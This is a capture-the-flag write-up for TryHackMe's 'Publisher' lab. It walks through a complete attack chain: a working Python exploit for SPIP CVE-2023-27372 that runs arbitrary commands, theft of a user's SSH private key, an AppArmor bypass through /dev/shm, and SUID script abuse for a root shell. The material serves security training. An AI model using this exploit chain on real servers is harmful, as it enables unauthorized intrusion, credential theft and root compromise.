TryHackMe Publisher Writeup: SPIP RCE & AppArmor Bypass
Room Info
- Platform: TryHackMe
- Room Name: Publisher
- Difficulty: Easy
- Goal: Capture the User Flag and the Root Flag
- Link: https://tryhackme.com/room/publisher
Reconnaissance
Nmap Scan
nmap -Pn -sV -sC 10.201.75.156 -p-
Scan results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache/2.4.41 (Ubuntu)
Web Recon
Browsing to http://10.201.75.156 turns up a SPIP CMS:
curl -I http://10.201.75.156/spip/spip.php
Key finding:
At http://10.201.75.156/spip/config/ we can read the version, which we can then check against known vulnerabilities!
Composed-By: SPIP 4.2.0 @ www.spip.net
Step 1: Initial Access - SPIP CVE-2023-27372 RCE
Vulnerability details
- CVE: CVE-2023-27372
- Affected versions: SPIP < 4.2.1
- Vulnerability type: Remote code execution via PHP deserialization
- Exploitation vector: the
oubliparameter of/spip.php?page=spip_pass
Vulnerability analysis
SPIP uses the dangerous #ENV** tag in its password-reset feature, and the regular expression in the protege_champ() function is flawed, which allows serialized PHP code to be injected.
Exploit Script
Download the public exploit:
wget https://raw.githubusercontent.com/nuts7/CVE-2023-27372/master/CVE-2023-27372.py -O 51536.py
Problem: the original script has a urllib3 compatibility issue.
Fix:
sed -i '63s/^/# /' 51536.py
Second problem: the original script only injects the payload but never shows the output.
Improved Exploit Script
Create exploit.py:
#!/usr/bin/env python3
import requests
import bs4
import sys
def get_csrf(url):
r = requests.get(f'{url}/spip.php?page=spip_pass')
soup = bs4.BeautifulSoup(r.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'formulaire_action_args'})
return csrf_input['value'] if csrf_input else None
def exploit(url, cmd):
csrf = get_csrf(url)
if not csrf:
print("[-] Failed to get CSRF token")
return
print(f"[+] CSRF: {csrf[:30]}...")
# Calculate the length correctly!
php_code = f'<?php system("{cmd}"); ?>'
payload = f's:{len(php_code)}:"{php_code}";'
print(f"[*] Command: {cmd}")
print(f"[*] PHP code: {php_code}")
print(f"[*] PHP code length: {len(php_code)}")
print(f"[*] Payload: {payload}")
data = {
"page": "spip_pass",
"formulaire_action": "oubli",
"formulaire_action_args": csrf,
"oubli": payload
}
r = requests.post(f'{url}/spip.php?page=spip_pass', data=data)
print(f"\n[*] Status: {r.status_code}")
# Look for the command output
if 'erreur' not in r.text.lower():
print("[+] No error detected!")
# Show the response
print("\n" + "="*60)
print(r.text)
print("="*60)
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: python3 spip_exploit.py 'command'")
sys.exit(1)
url = "http://10.201.75.156/spip"
cmd = ' '.join(sys.argv[1:])
exploit(url, cmd)Running the Exploit
python3 exploit.py 'id'
Output (inside the HTML value attribute):
value="s:22:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";"
✅ Code execution achieved!
Step 2: Lateral Movement to the think User
Recon the system
python3 exploit.py 'ls -la /home'
python3 exploit.py 'ls -la /home/think'
Findings:
drwxr-xr-x 2 think think 4096 Jan 10 2024 .ssh
-rw-r--r-- 1 root root 35 Feb 10 2024 user.txt
Check the SSH directory
python3 exploit.py 'ls -la /home/think/.ssh/'
Key finding:
-rw-r--r-- 1 think think 2602 Jan 10 2024 id_rsa ← world-readable!
Grab the SSH private key
python3 exploit.py 'cat /home/think/.ssh/id_rsa'
Save the output as think_id_rsa:
chmod 600 think_id_rsa
ssh -i think_id_rsa [email protected]
✅ Logged in successfully!
User Flag
think@ip-10-201-75-156:~$ cat user.txt
Redacted
Step 3: Privilege Escalation to Root - AppArmor Bypass
Initial recon
# Check for SUID files
find / -perm -4000 2>/dev/null
# Check sudo privileges
sudo -l # requires a password
# Check the kernel version
uname -a
A suspicious SUID file turns up:
/usr/sbin/run_container ← a custom binary!
Analyze run_container
/usr/sbin/run_container
Output:
List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up
Enter the ID of the container or leave blank to create a new one:
Look at the script contents:
cat /opt/run_container.sh
Key findings:
/usr/sbin/run_containerruns with root privileges- It calls the
/opt/run_container.shscript - The
validate_container_idfunction doesn't exist (error on line 16)
Escalation idea
If we can modify /opt/run_container.sh, we can run arbitrary commands as root!
Problem: AppArmor restrictions
echo 'chmod +s /bin/bash' > /opt/run_container.sh
# bash: /opt/run_container.sh: Permission denied
AppArmor analysis
Check the AppArmor profile of the current shell:
cat /proc/self/attr/current
# /usr/sbin/ash (complain)
cat /etc/apparmor.d/usr.sbin.ash
Key restrictions:
deny /opt/** w, ← cannot write to /opt/
deny /tmp/** w, ← cannot write to /tmp/
deny /home/** w, ← cannot write to /home/
But: there's no restriction on /dev/shm/!
AppArmor bypass trick
AppArmor restrictions apply to processes, not to users! The key is to spawn a new process to escape the restrictions.
Step 1: Create a Perl script in /dev/shm
cat > /dev/shm/test.pl << 'EOF'
#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh";
EOF
chmod +x /dev/shm/test.pl
Step 2: Run the Perl script to get a new shell
/dev/shm/test.pl
Notice how the prompt changes:
think@ip-10-201-14-58:~$ ← original shell (restricted by AppArmor)
$ ← new shell (unrestricted!)
Step 3: Modify run_container.sh from the new shell
$ echo '#!/bin/bash
/bin/bash -p' > /opt/run_container.sh
✅ Write succeeded! (because the new shell isn't under AppArmor's thumb)
Step 4: Run the SUID binary to trigger the escalation
$ /usr/sbin/run_container
Escalation successful:
bash-5.0# ← Root shell!
Root Flag
bash-5.0# cat /root/root.txt
Redacted
Key Technical Takeaways
1. Exploiting SPIP CVE-2023-27372
- Output location: inside the HTML
valueattribute of the POST response
2. Misconfigured SSH Private Key Permissions
- Problem: the
id_rsafile was set world-readable (644) - Correct permissions: it should be 600
3. AppArmor Security Bypass
- Understanding: AppArmor restricts processes, not users
- Bypass method:
- Find a directory that's both writable and executable (
/dev/shm/) - Create a script that spawns a new process
- The new process doesn't inherit the AppArmor restrictions
- Perform the restricted operation inside the new process
- Find a directory that's both writable and executable (
4. SUID Script Exploitation
- Conditions:
- A SUID binary calls an external script
- The script path can be modified
- Exploitation: change the script's contents to run commands as root
Lessons Learned
I honestly couldn't figure out the privilege escalation on this one. In the end I talked it through with an AI and it revealed my blind spot.
Claude AI: You'd actually found all the key clues:
- ✅
/dev/shm/is writable - ✅
/opt/run_container.shis the target - ❌ but you never realized you needed to use
/dev/shm/test.plto spawn a new process to bypass AppArmor
Member discussion